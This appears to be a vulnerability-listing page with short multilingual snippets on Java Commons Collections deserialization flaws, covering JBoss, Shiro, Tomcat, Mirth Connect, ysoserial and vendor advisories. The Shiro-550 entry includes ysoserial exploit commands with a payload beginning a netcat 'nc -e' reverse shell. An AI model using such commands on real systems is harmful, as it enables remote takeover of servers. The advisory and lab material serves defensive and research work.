CVE-2015-6420

CVE-2015-6420 Deserialisierungsschwachstelle Referenzen Java-Deserialisierungsschwachstelle – Analyse der CC-Nutzungskette...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Ausnutzen der Java-Deserialisierungsschwachstelle mit Burp Suite 0x01 Aufbau der Jboss JMXInvokerServlet-Deserialisierungsschwachstelle Testumgebung: JBoss JMXInvokerServlet-Deserialisierungsschwachstelle Prinzip der Schwachstelle: JBoss liest in der...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC PoC per un ambiente CTF/lab autorizzato. Sfrutta CVE-2025-24813 tramite la scrittura PUT parziale di un file di sessione Tomcat, quindi innesca la deserializzazione con JSESSIONID. Prerequisiti Python 3 Modulo Python requests Java JDK java e javac Il file incluso...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE Proof-of-Concept-Exploit für CVE-2023-43208 , eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Mirth Connect Versionen vor 4.4.1. Beschreibung Mirth Connect ist eine weit verbreitete Open-Source-Integrationsengine im Gesundheitswesen. Diese...

CVE-2020-9484

CVE-2020-9484 Riproduzione della vulnerabilità di deserializzazione di Apache Tomcat Session CVE-2020-9484 con Kali 2.0 Ambiente: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz l'app web è s2-053, nella sua lib è stato aggiunto commons-collections4-4.0.jar Avvio...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java असुरक्षित डिसीरियलाइज़ेशन लैब बुनियादी Java REST एप्लिकेशन जो असुरक्षित डिसीरियलाइज़ेशन के प्रति संवेदनशील है, जिससे RCE होता है। प्रोजेक्ट को Java 8u45 पर चलाया जाना चाहिए निम्नलिखित निर्भरताओं के साथ Maven पर आधारित: jackson-databind 2.2.2 commons-collections 3.1...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

CVE-2025-24813

CVE-2025-24813 Beschreibung Dieses Repository soll klare Anweisungen für die schnelle Bereitstellung von Tomcat v9.0.90 mit java 25.0.1 2025-10-21 LTS auf Windows Server 2019 Standard für Cybersicherheits-Übungen zur Bedrohungsemulation bieten. Die exploit.py nutzt ysoserial-all.jar, um einen...

ysoserial

ysoserial Uno strumento proof-of-concept per generare payload che sfruttano la deserializzazione non sicura di oggetti Java. Descrizione Originariamente rilasciato come parte del talk AppSecCali 2015 "Marshalling Pickles: how deserializing objects will ruin your day" con gadget chain per Apache...

ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

CVE-2026-40901

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

osv-java-poc

OSV Scanner CVE Detection POC — Vulnerable Java App ⚠️ WA...

RHCOS 2 : Red Hat OpenShift Enterprise 2.2.10 (RHSA-2016:1773)

The remote Red Hat Enterprise Linux CoreOS 2 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2016:1773 advisory. - CXF: SSL hostname verification bypass, incomplete CVE-2012-6153 fix CVE-2014-3577 - apache-commons-collections: InvokerTransformer...

EUVD-2026-23310

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

Security Bulletin: IBM Content Navigator uses Apache Commons Collections resulting in multiple CVEs

Summary IBM Content Navigator is affected by CVE-2015-4852, a Deserialization of Untrusted Data vulnerability CWE-502 in Apache Commons Collections, originally identified in Oracle WebLogic Server. A remote attacker could exploit this vulnerability by sending a crafted serialized Java object over...

Exploit for Deserialization of Untrusted Data in Nextgen Mirth_Connect

CVE-2023-43208 — Mirth Connect RCE !Pythonhttps://img.shie...

MiracleLinux 7 : apache-commons-collections-3.2.1-22.el7 (AXSA:2015-834:01)

The remote MiracleLinux 7 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2015-834:01 advisory. The introduction of the Collections API by Sun in JDK 1.2 has been a boon to quick and effective Java programming. Ready access to powerful data structures ha...

MiracleLinux 4 : jakarta-commons-collections-3.2.1-3.5.AXS4 (AXSA:2015-832:01)

The remote MiracleLinux 4 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2015-832:01 advisory. The introduction of the Collections API by Sun in JDK 1.2 has been a boon to quick and effective Java programming. Ready access to powerful data structures ha...